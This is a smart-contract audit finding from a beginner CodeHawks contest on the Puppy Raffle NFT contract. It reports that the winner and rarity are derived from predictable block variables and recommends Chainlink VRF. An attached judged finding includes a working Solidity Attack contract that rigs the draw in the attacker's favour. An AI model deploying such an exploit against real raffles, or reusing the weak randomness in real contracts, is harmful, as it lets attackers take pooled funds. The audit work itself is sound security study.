Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Predictable on-chain randomness allows manipulation of raffle outcomes

Root + Impact

The protocol derives randomness exclusively from manipulatable and publicly observable on-chain variables, making it cryptographically unsecure.

Description

Protocol derives raffle winner and NFT rarity selection from predictable on-chain variables:
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`https://github.com/CodeHawks-Contests/ai-puppy-raffle/blob/08e5b1fc6939b8da7792b2d13e43000c519d8897/src/PuppyRaffle.sol#L128`
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These inputs are publicly observable before transaction execution,
could be partially controllable by block proposers/validators, or directly influenced by transaction originators.
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As a result, the generated randomness is not cryptographically secure and may be biased or manipulated to influence raffle outcomes.
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Additionally, the same weak entropy source is reused for NFT rarity assignment.
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`https://github.com/CodeHawks-Contests/ai-puppy-raffle/blob/08e5b1fc6939b8da7792b2d13e43000c519d8897/src/PuppyRaffle.sol#L139`
https://github.com/CodeHawks-Contests/ai-puppy-raffle/blob/08e5b1fc6939b8da7792b2d13e43000c519d8897/src/PuppyRaffle.sol#L128
https://github.com/CodeHawks-Contests/ai-puppy-raffle/blob/08e5b1fc6939b8da7792b2d13e43000c519d8897/src/PuppyRaffle.sol#L139

Risk

Likelihood:

It is highly likely if the economic value is worth while.

Impact:

Attackers or malicious validators may gain an unfair advantage in determining raffle winners or NFT rarity outcomes, compromising the fairness and integrity of the puppy raffle draw.

Proof of Concept

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Recommended Mitigation

The use of Chainlink Verifiable Random Function for cryptographically proven randomness is a proven sound option. Alternatively, also the use of built-in EVM beacon chain randomness (block.prevrandao) available in modern Solidity can also be a viable option for most recent complier versions. Block.difficult is outdated.
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;- remove this code
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100; - remove this code
//use instead Chainlink Verifiable Random Function + add this code
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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